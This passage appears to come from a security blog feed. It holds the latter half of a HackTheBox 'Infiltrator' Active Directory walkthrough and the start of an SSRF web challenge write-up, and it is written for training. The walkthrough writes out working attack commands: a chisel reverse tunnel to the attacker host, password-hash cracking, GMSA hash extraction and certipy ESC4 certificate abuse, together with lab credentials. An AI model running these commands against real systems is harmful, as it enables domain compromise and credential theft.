12
13
14
</pre></td><td class="rouge-code"><pre>[libdefaults]
    default_realm = INFILTRATOR.HTB
    dns_lookup_kdc = false
    dns_lookup_realm = false

[realms]
    INFILTRATOR.HTB = {
        kdc = 10.10.11.31
        admin_server = 10.10.11.31
    }

[domain_realm]
    .infiltrator.htb = INFILTRATOR.HTB
    infiltrator.htb = INFILTRATOR.HTB
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Get a ticket and login:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>getTGT.py infiltrator.htb/M.HARRIS:<span class="s1">'Pwnedcake@2006'</span> <span class="nt">-dc-ip</span> <span class="s1">'dc01.infiltrator.htb'</span>
<span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>ticket.ccache
evil-winrm <span class="nt">-i</span> dc01.infiltrator.htb <span class="nt">-r</span> infiltrator.htb
</pre></td></tr></tbody></table></code></pre></div></div>

<blockquote class="prompt-tip">
  <p><strong>User Flag Captured!</strong></p>
</blockquote>

<hr />

<h2 id="root---output-messenger-exploitation">Root - Output Messenger Exploitation</h2>

<h3 id="finding-internal-services">Finding Internal Services</h3>

<p>Using a C2 (Sliver) for stability, let’s check what’s running:</p>

<p><img src="/assets/img/htb-infiltrator/image%2014.png" alt="Netstat Output" />
<em>Found Output Messenger services on ports 14118-14130</em></p>

<p><img src="/assets/img/htb-infiltrator/image%2015.png" alt="Output Messenger Location" />
<em>Located the application</em></p>

<h3 id="port-forwarding">Port Forwarding</h3>

<p>Using chisel to forward the ports:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre><span class="c"># On attacker</span>
chisel server <span class="nt">-p</span> 9999 <span class="nt">--reverse</span>

<span class="c"># On target</span>
chisel.exe client 10.10.14.172:9999 R:14121:127.0.0.1:14121 <span class="se">\</span>
  R:14122:127.0.0.1:14122 R:14123:127.0.0.1:14123 <span class="se">\</span>
  R:14124:127.0.0.1:14124 R:14125:127.0.0.1:14125 R:14126:127.0.0.1:14126
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-infiltrator/image%2023.png" alt="Chisel Connected" />
<em>Chisel tunnel established</em></p>

<h3 id="output-messenger-desktop-client">Output Messenger Desktop Client</h3>

<p>Remember the credentials <code class="language-plaintext highlighter-rouge">k.turner:MessengerApp@Pass!</code>? Let’s try them in the Output Messenger client.</p>

<p><img src="/assets/img/htb-infiltrator/image%2025.png" alt="Output Wall" />
<em>Output Wall showing messages</em></p>

<p>Found some credentials posted on the wall:</p>

<p><img src="/assets/img/htb-infiltrator/image%2029.png" alt="Wall Credentials" />
<em>Credentials shared on Output Wall</em></p>

<p><img src="/assets/img/htb-infiltrator/image%2030.png" alt="Valid Credentials" />
<em>Credentials work</em></p>

<h3 id="extracting-userexplorerexe">Extracting UserExplorer.exe</h3>

<p>Logging in as harris, there’s a file shared in admin’s chat:</p>

<p><img src="/assets/img/htb-infiltrator/image%2032.png" alt="File in Chat" />
<em>UserExplorer.exe in admin chat</em></p>

<p><img src="/assets/img/htb-infiltrator/image%2035.png" alt="Download EXE" />
<em>Downloaded the executable</em></p>

<h3 id="reverse-engineering-with-ilspy">Reverse Engineering with ILSpy</h3>

<p>The file is a .NET assembly. Let’s decompile it:</p>

<p><img src="/assets/img/htb-infiltrator/image%2036.png" alt="ILSpy LdapApp" />
<em>Found LdapApp function</em></p>

<p><img src="/assets/img/htb-infiltrator/image%2037.png" alt="Encrypted Credentials" />
<em>Hardcoded encrypted credentials</em></p>

<p><img src="/assets/img/htb-infiltrator/image%2038.png" alt="DecryptString Function" />
<em>Decryption function available</em></p>

<p>I wrote a Python script to decrypt the credentials:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">base64</span>
<span class="kn">from</span> <span class="n">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>

<span class="k">def</span> <span class="nf">decrypt_string</span><span class="p">(</span><span class="n">key</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">cipher_text</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="n">key_bytes</span> <span class="o">=</span> <span class="n">key</span><span class="p">.</span><span class="nf">encode</span><span class="p">(</span><span class="sh">"</span><span class="s">utf-8</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">cipher_bytes</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="nf">b64decode</span><span class="p">(</span><span class="n">cipher_text</span><span class="p">)</span>
    <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="n">key_bytes</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="o">=</span><span class="nf">bytes</span><span class="p">(</span><span class="mi">16</span><span class="p">))</span>
    <span class="n">decrypted</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="nf">decrypt</span><span class="p">(</span><span class="n">cipher_bytes</span><span class="p">).</span><span class="nf">decode</span><span class="p">(</span><span class="sh">"</span><span class="s">utf-8</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">decrypted</span><span class="p">.</span><span class="nf">rstrip</span><span class="p">()</span>

<span class="n">key</span> <span class="o">=</span> <span class="sh">"</span><span class="s">b14ca5898a4e4133bbce2ea2315a1916</span><span class="sh">"</span>
<span class="n">cipher_text</span> <span class="o">=</span> <span class="nf">input</span><span class="p">(</span><span class="sh">"</span><span class="s">Enter Base64 Ciphertext: </span><span class="sh">"</span><span class="p">)</span>
<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Decrypted: </span><span class="si">{</span><span class="nf">decrypt_string</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">cipher_text</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-infiltrator/image%2040.png" alt="Decrypted Credentials" />
<em>Got winrm_svc credentials</em></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>winrm_svc:WinRm@$svc^!^P
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="api-enumeration">API Enumeration</h3>

<p>Found an API key in winrm_svc’s notes:</p>

<p><img src="/assets/img/htb-infiltrator/image%2045.png" alt="API Key" />
<em>API key for Output Messenger</em></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>lan_management: 558R501T5I6024Y8JV3B7KOUN1A518GG
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Using the API to enumerate chatrooms:</p>

<p><img src="/assets/img/htb-infiltrator/image%2047.png" alt="Chatrooms" />
<em>Found Chiefs_Marketing_chat</em></p>

<p>Extracting the database from winrm_svc’s Output Messenger folder:</p>

<p><img src="/assets/img/htb-infiltrator/image%2049.png" alt="OM Database" />
<em>Found room key in SQLite database</em></p>

<p>Using the API to read chat logs:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>/api/chatrooms/logs?roomkey<span class="o">=</span>20240220014618@conference.com&amp;fromdate<span class="o">=</span>2023/01/01&amp;todate<span class="o">=</span>2024/12/01
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-infiltrator/image%2055.png" alt="Chat Logs" />
<em>Recovered chat with martinez’s password</em></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>O.martinez : m@rtinez@1996!
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="calendar-remote-code-execution">Calendar Remote Code Execution</h3>

<p>The Windows client has a calendar feature that can run applications:</p>

<p><img src="/assets/img/htb-infiltrator/image%2060.png" alt="Calendar Feature" />
<em>Calendar with Run Application feature</em></p>

<p>After setting up a scheduled task with our payload:</p>

<p><img src="/assets/img/htb-infiltrator/image%2063.png" alt="Reverse Shell" />
<em>Got shell as o.martinez</em></p>

<h3 id="pcap-analysis">PCAP Analysis</h3>

<p>Found a pcap file in martinez’s Output Messenger folder:</p>

<p><img src="/assets/img/htb-infiltrator/image%2065.png" alt="PCAP File" />
<em>PCAP file found</em></p>

<p>Analyzing in Wireshark:</p>

<p><img src="/assets/img/htb-infiltrator/image%2066.png" alt="PCAP Password" />
<em>Found martinez’s actual password in traffic</em></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>O.martinez:M@rtinez_P@ssw0rd!
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Also found a BitLocker backup file. Extracting and cracking it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>7z2john BitLocker_backup.7z <span class="o">&gt;</span> BitLocker_backup.7z.hash
john BitLocker_backup.7z.hash <span class="nt">--wordlist</span><span class="o">=</span>/usr/share/wordlists/rockyou.txt
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>zipper           (BitLocker_backup.7z)
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-infiltrator/image%2075.png" alt="BitLocker Recovery Key" />
<em>Found recovery key</em></p>

<h3 id="rdp-and-registry-extraction">RDP and Registry Extraction</h3>

<p>Using RDP to access martinez with the BitLocker drive:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>xfreerdp /u:o.martinez /p:M@rtinez_P@ssw0rd! /v:10.10.11.31 /cert:ignore
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-infiltrator/image%2079.png" alt="RDP Access" />
<em>Unlocking the BitLocker drive</em></p>

<p>Found SYSTEM and SECURITY registry hives:</p>

<p><img src="/assets/img/htb-infiltrator/image%2081.png" alt="Registry Hives" />
<em>Registry files extracted</em></p>

<p>Also found an NTDS.dit file. Analyzing it with sqlite:</p>

<p><img src="/assets/img/htb-infiltrator/image%2085.png" alt="Password Found" />
<em>Found lan_managment password</em></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>lan_managment:l@n_M@an!1331
</pre></td></tr></tbody></table></code></pre></div></div>

<hr />

<h2 id="adcs-esc4-attack">ADCS ESC4 Attack</h2>

<h3 id="gmsa-password-reading">GMSA Password Reading</h3>

<p>Looking at BloodHound, lan_managment can read the GMSA password:</p>

<p><img src="/assets/img/htb-infiltrator/image%2086.png" alt="GMSA Read" />
<em>GMSA password readable</em></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>bloodyAD <span class="nt">--host</span> <span class="s2">"dc01.infiltrator.htb"</span> <span class="nt">-d</span> <span class="s2">"infiltrator.htb"</span> <span class="nt">-k</span> <span class="se">\</span>
  <span class="nt">-u</span> <span class="s2">"lan_managment"</span> <span class="nt">-p</span> <span class="s1">'l@n_M@an!1331'</span> get object <span class="s1">'infiltrator_svc$'</span> <span class="nt">--attr</span> msDS-ManagedPassword
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-infiltrator/image%2087.png" alt="GMSA Hash" />
<em>Got the NTLM hash</em></p>

<p>Or using netexec:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>nxc ldap dc01.infiltrator.htb <span class="nt">-u</span> lan_managment <span class="nt">-p</span> <span class="s1">'l@n_M@an!1331'</span> <span class="nt">--gmsa</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-infiltrator/image%2088.png" alt="NXC GMSA" />
<em>GMSA hash extracted</em></p>

<h3 id="adcs-enumeration">ADCS Enumeration</h3>

<p>Running certipy to find vulnerable templates:</p>

<p><img src="/assets/img/htb-infiltrator/image%2090.png" alt="Certipy Find" />
<em>Found ESC4 vulnerable template</em></p>

<p><img src="/assets/img/htb-infiltrator/image%2091.png" alt="Template Details" />
<em>Infiltrator_Template is vulnerable</em></p>

<h3 id="exploiting-esc4">Exploiting ESC4</h3>

<p>First, modify the template:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>certipy template <span class="nt">-u</span> <span class="s1">'infiltrator_svc$@infiltrator.htb'</span> <span class="se">\</span>
  <span class="nt">-hashes</span> <span class="s1">':91f6a2f300330325d5887462d4072732'</span> <span class="se">\</span>
  <span class="nt">-template</span> Infiltrator_Template <span class="nt">-debug</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-infiltrator/image%2092.png" alt="Template Modified" />
<em>Template modified</em></p>

<p>Request a certificate as Administrator:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>certipy req <span class="nt">-u</span> <span class="s1">'infiltrator_svc$@infiltrator.htb'</span> <span class="se">\</span>
  <span class="nt">-hashes</span> <span class="s1">':91f6a2f300330325d5887462d4072732'</span> <span class="se">\</span>
  <span class="nt">-dc-ip</span> 10.10.11.31 <span class="nt">-target</span> <span class="s2">"dc01.infiltrator.htb"</span> <span class="se">\</span>
  <span class="nt">-ca</span> <span class="s1">'infiltrator-DC01-CA'</span> <span class="nt">-template</span> <span class="s1">'Infiltrator_Template'</span> <span class="se">\</span>
  <span class="nt">-upn</span> <span class="s1">'administrator@infiltrator.htb'</span> <span class="nt">-debug</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-infiltrator/image%2093.png" alt="Certificate Request" />
<em>Got Administrator’s certificate</em></p>

<p>Authenticate with the certificate:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>certipy auth <span class="nt">-pfx</span> administrator.pfx
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-infiltrator/image%2094.png" alt="Admin Hash" />
<em>Got Administrator’s NTLM hash</em></p>

<p>Final pass-the-hash:</p>

<p><img src="/assets/img/htb-infiltrator/image%2095.png" alt="Root Access" />
<em>Domain Admin achieved!</em></p>

<blockquote class="prompt-tip">
  <p><strong>Root Flag Captured!</strong></p>
</blockquote>

<hr />

<h2 id="attack-chain-summary">Attack Chain Summary</h2>

<ol>
  <li><strong>Enumerate users</strong> from website and validate with Kerbrute</li>
  <li><strong>AS-REP roast</strong> l.clark and crack the hash</li>
  <li><strong>BloodHound</strong> reveals password hints in user descriptions</li>
  <li><strong>DACL abuse chain</strong>: anderson → rodriguez → harris</li>
  <li><strong>Pass-the-ticket</strong> to get shell as harris</li>
  <li><strong>Output Messenger</strong> exploitation through desktop client</li>
  <li><strong>Reverse engineer</strong> UserExplorer.exe for credentials</li>
  <li><strong>API enumeration</strong> to read chat logs</li>
  <li><strong>Calendar RCE</strong> for shell as martinez</li>
  <li><strong>PCAP analysis</strong> for more credentials</li>
  <li><strong>BitLocker</strong> drive contains registry hives</li>
  <li><strong>GMSA password</strong> reading for service account</li>
  <li><strong>ADCS ESC4</strong> attack for Domain Admin</li>
</ol>

<hr />

<h2 id="key-takeaways">Key Takeaways</h2>

<h3 id="vulnerabilities-exploited">Vulnerabilities Exploited</h3>

<ol>
  <li><strong>AS-REP Roasting</strong> - l.clark had pre-authentication disabled</li>
  <li><strong>Sensitive Data in Descriptions</strong> - Passwords in AD user descriptions</li>
  <li><strong>DACL Misconfiguration</strong> - GenericAll on OU allowed privilege escalation</li>
  <li><strong>Output Messenger</strong> - Calendar feature allowed code execution</li>
  <li><strong>GMSA Password Readable</strong> - Service account hash extractable</li>
  <li><strong>ADCS ESC4</strong> - Misconfigured certificate template</li>
</ol>

<h3 id="lessons-learned">Lessons Learned</h3>

<blockquote class="prompt-warning">
  <p>Never store passwords in user descriptions or comments. Use a proper secret management solution.</p>
</blockquote>

<blockquote class="prompt-danger">
  <p>ADCS misconfigurations are extremely common and dangerous. Regular audits with tools like Certipy are essential.</p>
</blockquote>

<blockquote class="prompt-info">
  <p>Internal messaging applications can be attack vectors. Audit what data is shared through them.</p>
</blockquote>

<hr />

<h2 id="tools-used">Tools Used</h2>

<ul>
  <li><strong>Nmap</strong> - Port scanning</li>
  <li><strong>Kerbrute</strong> - Username enumeration</li>
  <li><strong>Impacket</strong> - Kerberos attacks, secretsdump</li>
  <li><strong>BloodHound</strong> - AD attack path analysis</li>
  <li><strong>BloodyAD</strong> - AD exploitation</li>
  <li><strong>Certipy</strong> - ADCS enumeration and exploitation</li>
  <li><strong>Chisel</strong> - Port forwarding</li>
  <li><strong>ILSpy</strong> - .NET decompilation</li>
  <li><strong>Wireshark</strong> - PCAP analysis</li>
  <li><strong>Evil-WinRM</strong> - Windows remote management</li>
</ul>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>Infiltrator is one of the best machines I’ve done. It’s a proper Active Directory box that tests everything from initial enumeration to complex privilege escalation chains. The Output Messenger part was unique and the ADCS finale was satisfying.</p>

<p>This machine teaches you:</p>
<ul>
  <li>How real AD environments get compromised</li>
  <li>The importance of BloodHound in finding attack paths</li>
  <li>How DACL misconfigurations can chain together</li>
  <li>Why ADCS needs proper configuration</li>
</ul>

<p><strong>Final Stats:</strong></p>
<ul>
  <li>Time to User: ~8 hours</li>
  <li>Time to Root: ~6 hours</li>
  <li>Difficulty Rating: Insane (Truly Insane)</li>
</ul>

<p>Thanks for reading! Happy Hacking!</p>]]></content><author><name>Wathsala Dewmina</name></author><category term="HackTheBox" /><category term="Insane" /><category term="htb" /><category term="active-directory" /><category term="kerberos" /><category term="bloodhound" /><category term="adcs" /><category term="esc4" /><category term="output-messenger" /><category term="dacl" /><category term="gmsa" /><category term="windows" /><category term="as-rep-roasting" /><category term="domain-admin" /><category term="penetration-testing" /><category term="red-team" /><summary type="html"><![CDATA[Complete walkthrough of HackTheBox Infiltrator machine by Wathsala Dewmina (PwnedCake). An Insane-level Active Directory machine featuring Kerberos AS-REP roasting, BloodHound DACL exploitation, Output Messenger abuse, GMSA password reading, and ADCS ESC4 privilege escalation to Domain Admin.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://pwnedcake.github.io/assets/img/htb-infiltrator/image.png" /><media:content medium="image" url="https://pwnedcake.github.io/assets/img/htb-infiltrator/image.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HackTheBox Challenge - ProxyAsAService</title><link href="https://pwnedcake.github.io/posts/hackthebox-proxyasaservice-writeup/" rel="alternate" type="text/html" title="HackTheBox Challenge - ProxyAsAService" /><published>2025-01-15T09:00:00+00:00</published><updated>2025-01-15T09:00:00+00:00</updated><id>https://pwnedcake.github.io/posts/hackthebox-proxyasaservice-writeup</id><content type="html" xml:base="https://pwnedcake.github.io/posts/hackthebox-proxyasaservice-writeup/"><![CDATA[<h2 id="challenge-information">Challenge Information</h2>

<table>
  <thead>
    <tr>
      <th style="text-align: left">Attribute</th>
      <th style="text-align: left">Details</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left"><strong>Challenge Name</strong></td>
      <td style="text-align: left">ProxyAsAService</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>Category</strong></td>
      <td style="text-align: left">Web</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>Difficulty</strong></td>
      <td style="text-align: left">Easy</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>Instance</strong></td>
      <td style="text-align: left">94.237.54.42:55319</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>Description</strong></td>
      <td style="text-align: left">Experience the freedom of the web with ProxyAsAService. Online privacy and access for everyone, everywhere.</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="challenge-overview">Challenge Overview</h2>

<p>ProxyAsAService is a web challenge that presents a proxy service designed to fetch content from Reddit on behalf of users. The application implements security measures to prevent Server-Side Request Forgery (SSRF) attacks by restricting access to local URLs. However, these protections can be bypassed through creative URL manipulation.</p>

<p>Our goal is to exploit the proxy service to access internal debug endpoints and extract the flag stored in environment variables.</p>

<hr />

<h2 id="initial-reconnaissance">Initial Reconnaissance</h2>

<h3 id="web-interface">Web Interface</h3>

<p>Accessing the challenge at <code class="language-plaintext highlighter-rouge">http://94.237.54.42:55319</code>, we’re presented with a proxy service that redirects to various cat-related subreddits by default. The application accepts a <code class="language-plaintext highlighter-rouge">url</code> parameter to specify which Reddit page to fetch.</p>

<p><strong>Default behavior:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>http://94.237.54.42:55319/
→ Redirects to /r/cats/ or similar cat subreddits
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The challenge provides source code for analysis, which is crucial for understanding the application’s security mechanisms.</p>

<hr />

<h2 id="source-code-analysis">Source Code Analysis</h2>

<h3 id="dockerfile">Dockerfile</h3>

<p>Examining the Dockerfile reveals our primary objective:</p>

<div class="language-dockerfile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
</pre></td><td class="rouge-code"><pre><span class="k">FROM</span><span class="s"> python:3-alpine</span>

<span class="c"># Install packages</span>
<span class="k">RUN </span>apk add <span class="nt">--update</span> <span class="nt">--no-cache</span> libcurl curl-dev build-base supervisor

<span class="c"># Upgrade pip</span>
<span class="k">RUN </span>python <span class="nt">-m</span> pip <span class="nb">install</span> <span class="nt">--upgrade</span> pip

<span class="c"># Install dependencies</span>
<span class="k">RUN </span>pip <span class="nb">install </span>Flask requests

<span class="c"># Setup app</span>
<span class="k">RUN </span><span class="nb">mkdir</span> <span class="nt">-p</span> /app

<span class="c"># Switch working environment</span>
<span class="k">WORKDIR</span><span class="s"> /app</span>

<span class="c"># Add application</span>
<span class="k">COPY</span><span class="s"> challenge .</span>

<span class="c"># Setup supervisor</span>
<span class="k">COPY</span><span class="s"> config/supervisord.conf /etc/supervisord.conf</span>

<span class="c"># Expose port the server is reachable on</span>
<span class="k">EXPOSE</span><span class="s"> 1337</span>

<span class="c"># Disable pycache</span>
<span class="k">ENV</span><span class="s"> PYTHONDONTWRITEBYTECODE=1</span>

<span class="c"># Place flag in environ</span>
<span class="k">ENV</span><span class="s"> FLAG=HTB{f4k3_fl4g_f0r_t3st1ng}</span>

<span class="c"># Run supervisord</span>
<span class="k">CMD</span><span class="s"> ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<blockquote class="prompt-info">
  <p><strong>Key Finding:</strong> The flag is stored as an environment variable called <code class="language-plaintext highlighter-rouge">FLAG</code></p>
</blockquote>

<h3 id="application-structure">Application Structure</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nb">grep</span> <span class="nt">-iR</span> <span class="s2">"HTB"</span> <span class="nb">.</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Output:</strong></p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>./Dockerfile:ENV FLAG=HTB{f4k3_fl4g_f0r_t3st1ng}
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The application runs on port 1337 internally:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="c1"># run.py
</span><span class="n">app</span><span class="p">.</span><span class="nf">run</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="sh">'</span><span class="s">0.0.0.0</span><span class="sh">'</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">1337</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="routespy-analysis">routes.py Analysis</h3>

<p>The main proxy route handles user requests:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="rouge-code"><pre><span class="n">SITE_NAME</span> <span class="o">=</span> <span class="sh">'</span><span class="s">reddit.com</span><span class="sh">'</span>

<span class="n">proxy_api</span> <span class="o">=</span> <span class="nc">Blueprint</span><span class="p">(</span><span class="sh">'</span><span class="s">proxy_api</span><span class="sh">'</span><span class="p">,</span> <span class="n">__name__</span><span class="p">)</span>
<span class="n">debug</span>     <span class="o">=</span> <span class="nc">Blueprint</span><span class="p">(</span><span class="sh">'</span><span class="s">debug</span><span class="sh">'</span><span class="p">,</span> <span class="n">__name__</span><span class="p">)</span>

<span class="nd">@proxy_api.route</span><span class="p">(</span><span class="sh">'</span><span class="s">/</span><span class="sh">'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="sh">'</span><span class="s">GET</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">POST</span><span class="sh">'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">proxy</span><span class="p">():</span>
    <span class="n">url</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">url</span><span class="sh">'</span><span class="p">)</span>

    <span class="k">if</span> <span class="ow">not</span> <span class="n">url</span><span class="p">:</span>
        <span class="n">cat_meme_subreddits</span> <span class="o">=</span> <span class="p">[</span>
            <span class="sh">'</span><span class="s">/r/cats/</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">/r/catpictures</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">/r/catvideos/</span><span class="sh">'</span>
        <span class="p">]</span>
        <span class="n">random_subreddit</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="nf">choice</span><span class="p">(</span><span class="n">cat_meme_subreddits</span><span class="p">)</span>
        <span class="k">return</span> <span class="nf">redirect</span><span class="p">(</span><span class="nf">url_for</span><span class="p">(</span><span class="sh">'</span><span class="s">.proxy</span><span class="sh">'</span><span class="p">,</span> <span class="n">url</span><span class="o">=</span><span class="n">random_subreddit</span><span class="p">))</span>
    
    <span class="n">target_url</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">'</span><span class="s">http://</span><span class="si">{</span><span class="n">SITE_NAME</span><span class="si">}{</span><span class="n">url</span><span class="si">}</span><span class="sh">'</span>
    <span class="n">response</span><span class="p">,</span> <span class="n">headers</span> <span class="o">=</span> <span class="nf">proxy_req</span><span class="p">(</span><span class="n">target_url</span><span class="p">)</span>

    <span class="k">return</span> <span class="nc">Response</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="n">content</span><span class="p">,</span> <span class="n">response</span><span class="p">.</span><span class="n">status_code</span><span class="p">,</span> <span class="n">headers</span><span class="p">.</span><span class="nf">items</span><span class="p">())</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Important observations:</strong></p>
<ol>
  <li>The application expects subreddit paths like <code class="language-plaintext highlighter-rouge">/r/cybersecurity</code></li>
  <li>It prepends <code class="language-plaintext highlighter-rouge">reddit.com</code> to all URLs: <code class="language-plaintext highlighter-rouge">http://reddit.com{url}</code></li>
